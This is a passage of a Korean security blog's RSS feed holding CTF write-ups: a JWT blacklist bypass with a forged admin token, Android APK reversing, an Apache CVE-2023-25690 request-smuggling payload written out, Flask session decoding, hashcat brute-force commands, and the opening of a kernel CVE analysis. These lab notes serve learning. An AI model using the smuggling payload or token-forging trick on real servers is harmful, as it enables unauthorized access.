&lt;p&gt;JWT 헤더 값의 암호화 기법을 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;none&lt;/code&gt;으로 설정하여 원하는 대로 값을 설정하려 하였으나 불가능하였습니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;점수 - 434점, 푼 팀 - 97/894팀&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;분석-과정&quot;&gt;분석 과정&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-05-21-2.png&quot; alt=&quot;JWT 값 비교 영역&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;서버에서 JWT값을 다음처럼 비교하고 있었습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-05-21-3.png&quot; alt=&quot;jwt.io 소개 페이지&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;JWT는 내부적으로 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;base64UrlEncode&lt;/code&gt;을 이용해 값을 해시화 하고 있었습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-05-21-4.png&quot; alt=&quot;jwt.io 소개 페이지&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;base64Url&lt;/code&gt;은 다음처럼 패딩부분만 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;+&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/&lt;/code&gt;에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;url safe&lt;/code&gt;한 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_&lt;/code&gt;으로 바뀐 버전이었습니다.&lt;/p&gt;

&lt;p&gt;위 코드를 실행해보면 똑같은 값이 출력됩니다.&lt;/p&gt;

&lt;p&gt;이를 이용하여 토큰 값의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_&lt;/code&gt; 값을 base64의 패딩 값으로 변환하여 블랙리스트를 우회하면서 jwt를 이용할 수 있었습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-05-21-5.png&quot; alt=&quot;ctf jrl 페이지&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZSwidWlkIjoiMTMzNyJ9.BnBYDobZVspWbxu4jL3cTfri_IxNoi33q-TRLbHV-ew
...into...
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJhZG1pbiI6dHJ1ZSwidWlkIjoiMTMzNyJ9.BnBYDobZVspWbxu4jL3cTfri_IxNoi33q+TRLbHV+ew
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-05-21-6.png&quot; alt=&quot;ctf 공격 성공 페이지&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;알아낸-내용&quot;&gt;알아낸 내용&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;PyJWT&lt;/code&gt;는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;base64&lt;/code&gt; 모듈의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;urlsafe_b64decode&lt;/code&gt; 함수를 이용하여 토큰 값을 디코딩합니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;base64&lt;/code&gt; 모듈의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;urlsafe_b64decode&lt;/code&gt; 함수는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;url based base64&lt;/code&gt;든 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;base64&lt;/code&gt;든 모두 디코딩 시 같은 결과를 출력합니다.&lt;/li&gt;
  &lt;li&gt;토큰 값의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;-&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;_&lt;/code&gt; 값을 base64의 패딩 값으로 변환하여 블랙리스트를 우회하면서 jwt를 이용할 수 있었습니다.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;참조&quot;&gt;참조&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://jwt.io/&quot;&gt;jwt.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://velog.io/@dohaeng0/base64-vs-base64-url-safe-%EA%B7%B8%EB%A6%AC%EA%B3%A0-%EC%98%88%EC%A0%9C&quot;&gt;base64-vs-base64-url-safe-그리고-예제&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Wed, 21 May 2025 06:27:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/BYUCTF2025-JWTF/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/BYUCTF2025-JWTF/</guid>
      </item>
    
      <item>
        <title>[byuctf2025] Baby Android 2</title>
        <description>&lt;h2 id=&quot;배경&quot;&gt;배경&lt;/h2&gt;

&lt;p&gt;BYUCTF 2025 리버싱 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Baby Android 2&lt;/code&gt; 문제 풀이입니다.&lt;/p&gt;

&lt;h2 id=&quot;요약&quot;&gt;요약&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;단순 연산 문제입니다.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;문제-상황&quot;&gt;문제 상황&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-05-20-7.png&quot; alt=&quot;apk 파일 내부 구조&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;주어진 apk파일 내부 구조는 위와 같았습니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;점수 - 61점, 푼 팀 - 248/894팀&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;분석-과정&quot;&gt;분석 과정&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-05-20-8.png&quot; alt=&quot;기드라로 연 내용&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;기드라로 연 후 export를 보니 다음과 같은 함수가 있었습니다.&lt;/p&gt;

&lt;p&gt;파이썬으로 만들어 풀었습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-05-20-9.png&quot; alt=&quot;파이썬 결과 이미지&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;h2 id=&quot;작성자의-글&quot;&gt;작성자의 글&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;전 문제와 달리 이번 문제는 dex 복호화가 필요 없어서 푼 사람이 많았나봅니다.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;참조&quot;&gt;참조&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;.&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Tue, 20 May 2025 06:31:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/byuctf2025-baby-android2/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/byuctf2025-baby-android2/</guid>
      </item>
    
      <item>
        <title>[byuctf2025] Baby Android 1</title>
        <description>&lt;h2 id=&quot;배경&quot;&gt;배경&lt;/h2&gt;

&lt;p&gt;BYUCTF 2025 리버싱 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Baby Android 1&lt;/code&gt; 문제 풀이입니다.&lt;/p&gt;

&lt;h2 id=&quot;요약&quot;&gt;요약&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;디컴파일은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;압축 해제 된&lt;/code&gt; dex파일을 기드라에 넣어서 가능, 혹은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apktool&lt;/code&gt;로 디컴파일 후 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;smail2java&lt;/code&gt;등의 툴을 이용해 가능&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;문제-상황&quot;&gt;문제 상황&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-05-20-0.png&quot; alt=&quot;apk 파일 내부 구조&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;주어진 apk파일 내부 구조는 위와 같았습니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;점수 - 241점, 푼 팀 - 191/894팀&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;분석-과정&quot;&gt;분석 과정&lt;/h2&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;classes.dex&lt;/code&gt;나 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;classes2.dex&lt;/code&gt;의 파일 크기가 너무 커 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;안드로이드 기본 클래스&lt;/code&gt; 및 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;코틀린 기본 클래스&lt;/code&gt;라고 생각하고 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;classes3.dex&lt;/code&gt;를 보았습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-05-20-1.png&quot; alt=&quot;기드라로 연 내용&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;기드라로 디컴파일 후 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;export&lt;/code&gt; 혹은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;classes&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;namespace&lt;/code&gt;를 통해 사용자가 작성한 코드를 볼 수 있습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-05-20-2.png&quot; alt=&quot;Main 컴포넌트 동작&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-05-20-3.png&quot; alt=&quot;cleanup 코드&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;각각 메인 동작 코드와 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cleanup&lt;/code&gt; 코드입니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cleanup&lt;/code&gt;코드에서 내부 텍스트를 전부 지우는것으로 보이는데, 어떤 텍스트인지는 보이지 않습니다. xml파일에 기본으로 있을 것으로 예상됩니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;resources.arsc&lt;/code&gt; 파일 복호화가 필요해 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apktool&lt;/code&gt;을 사용해 다시 디컴파일한 뒤 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;grep -rnw . -e &quot;flagPart1&quot;&lt;/code&gt;을 통해 컴포넌트 xml을 찾았습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-05-20-4.png&quot; alt=&quot;grep 실행 내용&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-05-20-5.png&quot; alt=&quot;xml 파일 내부&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;xml 파일을 열고 순서대로 입력해보았으나 틀렸습니다. 레이아웃을 이용해 정렬해야 할 듯합니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-05-20-6.png&quot; alt=&quot;결과&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;여러가지 온라인 툴을 찾아보았으나 없었고, 계산하기 귀찮아 안드로이드 스튜디오로 직접 그려보았습니다.&lt;/p&gt;

&lt;h2 id=&quot;작성자의-글&quot;&gt;작성자의 글&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;기드라는 압축파일 내부 dex파일을 인식하지 못했습니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Baby Android 2&lt;/code&gt;문제보다 푼 사람이 적어서 의외였습니다. 안드로이드 스튜디오 설치하기가 귀찮았나봅니다.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;참조&quot;&gt;참조&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;.&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Tue, 20 May 2025 06:18:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/byuctf2025-baby-android1/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/byuctf2025-baby-android1/</guid>
      </item>
    
      <item>
        <title>[byuctf2025] CVE-2023-25690</title>
        <description>&lt;h2 id=&quot;배경&quot;&gt;배경&lt;/h2&gt;

&lt;p&gt;BYUCTF 2025 웹해킹 Willy Wonka Web 문제 풀이입니다.&lt;/p&gt;

&lt;h2 id=&quot;요약&quot;&gt;요약&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-05-18-4.png&quot; alt=&quot;요약 ppt 이미지&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apache http&lt;/code&gt;가 URL 인코딩 된 띄어쓰기를 인식하지 못해, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET&lt;/code&gt;이나 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;POST&lt;/code&gt;등의 메소드가 오고 난 뒤 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;다음 띄어쓰기가 올 때까지의 모든 문자&lt;/code&gt;를 경로로 인식하던 취약점&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;문제-상황&quot;&gt;문제 상황&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-05-18-3.png&quot; alt=&quot;Backend&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-05-18-2.png&quot; alt=&quot;apache http 설정&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;요청 헤더에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a&lt;/code&gt;값이 오면 플래그를 출력하는 문제지만, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apache http 서버&lt;/code&gt;의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RewriteEngine&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;RewriteRule&lt;/code&gt;를 이용해 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a&lt;/code&gt;헤더를 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;unset&lt;/code&gt;하고 있었습니다.&lt;/p&gt;

&lt;p&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;점수 - 241점, 푼 팀 - 191/894팀&lt;/code&gt;&lt;/p&gt;

&lt;h2 id=&quot;분석-과정&quot;&gt;분석 과정&lt;/h2&gt;

&lt;p&gt;관련 CVE 내용을 확인해보니 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apache httpd 2.4.55&lt;/code&gt;버전까지 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP&lt;/code&gt;메소드 이후 캐리지 리턴이 올 때까지 전부 하나의 경로로 인식한다는 내용이 있었습니다.&lt;/p&gt;

&lt;p&gt;원하는 요청은 다음과 같았습니다.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /name/anything HTTP/1.1
Host: 127.0.0.1
a: admin


&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;해당 요청 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET&lt;/code&gt; 이후 부분을 전부 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UrlEncoding&lt;/code&gt;하여 진행했으나 내부 오류가 계속 났었습니다.&lt;/p&gt;

&lt;p&gt;’ ‘ 및 ‘\r\n’만을 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;UrlEncoding&lt;/code&gt;하니 정상적으로 실행되었습니다.&lt;/p&gt;

&lt;p&gt;두개 요청을 합쳐야 해서 다음처럼 요청을 보냈습니다.&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /name/anything HTTP/1.1
Host: 127.0.0.1
a: admin


GET /name/anything HTTP/1.1


&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;이를 두번째 쿼리 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;HTTP/1.1&lt;/code&gt; 부분 앞까지 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%20&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%0d&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;%0a&lt;/code&gt;로 치환하여 다음처럼 쿼리가 나왔고&lt;/p&gt;

&lt;div class=&quot;language-text highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;GET /name/anything%20HTTP/1.1%0d%0aa:%20admin%0d%0a%0d%0aGET%20/anything HTTP/1.1


&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;위 코드는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;apache http 웹서버&lt;/code&gt;에서 헤더가 하나도 없는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;/name...anything&lt;/code&gt; 경로를 가진 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;GET&lt;/code&gt;요청으로 처리가 될 것이며, 백엔드에서는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;a: admin&lt;/code&gt;헤더를 가진 요청, 헤더 없는 요청, 총 두개로 처리가 됩니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-05-18-5.png&quot; alt=&quot;공격 성공 이미지&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;다음처럼 코드 실행해 공격 성공했습니다.&lt;/p&gt;

&lt;h2 id=&quot;작성자의-글&quot;&gt;작성자의 글&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Smuggling&lt;/code&gt; 공격 실습을 해보아 재밌었습니다.&lt;/li&gt;
  &lt;li&gt;소켓 관련 내용을 다루느라 힘들었습니다. 관련 툴을 미리 제작해둬야겠습니다.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;참조&quot;&gt;참조&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/dhmosfunk/CVE-2023-25690-POC&quot;&gt;dhmosfunk/CVE-2023-25690-POC&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Sun, 18 May 2025 14:27:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/CVE-2023-25690/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/CVE-2023-25690/</guid>
      </item>
    
      <item>
        <title>Flask session decode</title>
        <description>&lt;h2 id=&quot;배경&quot;&gt;배경&lt;/h2&gt;

&lt;p&gt;BYUCTF 2025 웹해킹 문제 해결 시도중 찾아보았습니다.&lt;/p&gt;

&lt;h2 id=&quot;요약&quot;&gt;요약&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;jwt.io&lt;/code&gt;를 이용해 복호화 가능&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flask-unsign&lt;/code&gt;을 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;pip&lt;/code&gt;에서 받아 복호화 가능, 단 암호화는 브루트포스를 이용한 키가 있어야 한다.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;문제-상황&quot;&gt;문제 상황&lt;/h2&gt;

&lt;p&gt;세션 내부 값을 원하는대로 조작하려 하였습니다. 브루트포스 일부 시도중 포기하였습니다.&lt;/p&gt;

&lt;h2 id=&quot;분석-과정&quot;&gt;분석 과정&lt;/h2&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-05-18-0.png&quot; alt=&quot;jwt.io 복호화 이미지&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;세션으로 JWT가 들어와서 유명한 JWT.io를 이용해 디코드를 하였습니다. 값 확인엔 성공했지만 원하는대로 수정이 불가능했습니다.&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/img/posts/2025-05-18-1.png&quot; alt=&quot;flask-unsign을 이용한 복호화 이미지&quot; style=&quot;max-width: 100%; height: auto;&quot; /&gt;&lt;/p&gt;

&lt;p&gt;flask-unsign이란 툴로 복호화가 되는지 진행해보았습니다.&lt;/p&gt;

&lt;h2 id=&quot;알아낸-내용&quot;&gt;알아낸 내용&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;flask-unsign&lt;/code&gt;을 통해 세션 값 재생성 가능. (단 암호를 알 경우만)&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;참조&quot;&gt;참조&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://jwt.io/&quot;&gt;jwt.io&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/Paradoxis/Flask-Unsign&quot;&gt;Flask-Unsign&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Sun, 18 May 2025 13:25:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/flask-session-decode/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/flask-session-decode/</guid>
      </item>
    
      <item>
        <title>해시 원본 값 구하기</title>
        <description>&lt;h2 id=&quot;배경&quot;&gt;배경&lt;/h2&gt;

&lt;p&gt;DevSecOps 2025 Password Cracking 문제를 푸는 중 해시 값의 원본 값을 구하는 문제가 있어 요약하였습니다.&lt;/p&gt;

&lt;h2 id=&quot;요약&quot;&gt;요약&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Hashcat&lt;/code&gt;을 이용해 여러 해시 방법, 암호화 방법에 대한 브루트포싱을 간단하게 할 수 있으며, Gpu 및 Charset, Masking 등의 여러 도구가 들어 있어 브루트포싱할때 유용함&lt;/li&gt;
  &lt;li&gt;Salt가 없는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;md5&lt;/code&gt;등의 해시 기법은 인터넷의 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;데이터베이스 기반 탐색&lt;/code&gt; 및 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;레인보우 테이블&lt;/code&gt;을 살펴보자.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;문제-상황&quot;&gt;문제 상황&lt;/h2&gt;

&lt;p&gt;주어진 해시에 대한 평문 값을 구하시오.&lt;/p&gt;

&lt;h2 id=&quot;분석-과정-뻘짓-과정&quot;&gt;분석 과정 (뻘짓 과정)&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;간단하게 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;md5&lt;/code&gt; attck을 키워드로 검색하여 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;충돌 공격&lt;/code&gt; 및 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;충돌 공격 기법들&lt;/code&gt;에 대해 알아보았습니다.
    &lt;ul&gt;
      &lt;li&gt;해시 충돌에 대해 알게 되었지만, 문제에 도움되지 않고 정말 많은 시간이 흘렀습니다.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;충돌 공격&lt;/code&gt;은 원문을 찾는 데 도움이 되지 않는다는 것을 확인하고 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;데이터베이스 기반 탐색&lt;/code&gt;사이트를 찾아다니며 해당 해시를 넣어보았습니다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Hashcat&lt;/code&gt;을 이용해 브루트포싱을 시도하였습니다.
    &lt;ul&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;hashcat -m 0 -a 3 hash.txt -1 ?u?d_ &quot;punk_{?1?1?1?1?1?1?1}&quot; -O&lt;/code&gt; 을 인자로, 기본 플래그 틀을 이용해 마스킹한 후 진행하였으나, 잘못된 선택이었습니다.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;동시에 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;레인보우 테이블&lt;/code&gt;을 통해 해당 해시를 검색하였습니다.&lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;알아낸-내용&quot;&gt;알아낸 내용&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;암호문이나 해시 값이 주어질 경우 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;레인보우 테이블&lt;/code&gt;을 먼저 찾아보면 좋다.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;Hashcat&lt;/code&gt;을 이용해 간단하게 브루트포싱이 가능하다.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/corkami/collisions&quot;&gt;https://github.com/corkami/collisions&lt;/a&gt; - 해시 충돌 관련 문서
    &lt;ul&gt;
      &lt;li&gt;위 내용을 이용해 같은 해시를 가진 서로 다른 파일을 만들 수 있다.&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;exe&lt;/code&gt;파일의 경우, 같은 해시를 가졌지만 전혀 다른 작동을 하는 프로그램을 만들 수 있다.&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ul&gt;
</description>
        <pubDate>Sat, 10 May 2025 11:48:00 +0000</pubDate>
        <link>https://slowanalyst.github.io/blog/hash-original-value/</link>
        <guid isPermaLink="true">https://slowanalyst.github.io/blog/hash-original-value/</guid>
      </item>
    
      <item>
        <title>CVE-2024-53104</title>
        <description>&lt;h2 id=&quot;table-of-contents&quot;&gt;Table of Contents&lt;/h2&gt;

&lt;ol&gt;
  &lt;li&gt;&lt;a href=&quot;#orgf1fbb96&quot;&gt;Introduction&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#orgc13540d&quot;&gt;Root Cause Analysis&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#org75492e8&quot;&gt;Patch&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;#org0848923&quot;&gt;References&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;&lt;a id=&quot;orgf1fbb96&quot;&gt;&lt;/a&gt;&lt;/p&gt;

&lt;h1 id=&quot;introduction&quot;&gt;Introduction&lt;/h1&gt;

&lt;p&gt;CVE-2024-53104는 리눅스 커널의 USB Video Class (UVC) 드라이버에서
비디오 스트리밍 인터페이스 중 디지털 비디오 (digital video, DV) 등을
처리하는 과정에서 발생한 out-of-bound (OOB) 취약점이다[1, 2].&lt;/p&gt;

